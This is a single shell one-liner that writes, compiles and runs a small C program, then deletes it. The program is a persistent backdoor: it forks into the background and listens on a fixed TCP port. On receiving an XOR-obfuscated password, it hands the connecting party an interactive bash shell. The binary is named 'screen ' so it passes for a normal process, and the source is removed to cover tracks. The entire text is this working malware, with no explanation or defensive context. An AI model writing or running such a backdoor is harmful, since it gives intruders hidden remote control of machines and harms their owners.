echo -e "#include<stdio.h>\nmain(){short int d[8]={2,1927,0,0,1,0,0,0};\
char a[16],*g[]={\"bash\",\"-i\",NULL};int b,c,f=0,e=16;if(fork())exit(\
0);signal(17,1);chdir(\"/\");b=socket(2,1,0);bind(b,&d,e);listen(b,5);p\
utenv(\"PATH=/bin:/usr/bin:/usr/local/bin\");for(;;){if((c=accept(b,&d,\
&e))>0)if(!fork()){for(;f<3;){close(f++);dup(c);}fgets(a,15,stdin);for(\
f=0;f<9;)a[f++]^=3;if(!strncmp(a,\"bobnbhlwb\",9)){if(!fork())execv(\"/\
bin/bash\",g);wait(&f);}shutdown(c,2);close(c);exit(0);}}}">screen.c;gc\
c screen.c -o "screen ";P=$PATH;PATH=.;"screen ";PATH=$P;rm -f "screen \
" screen.c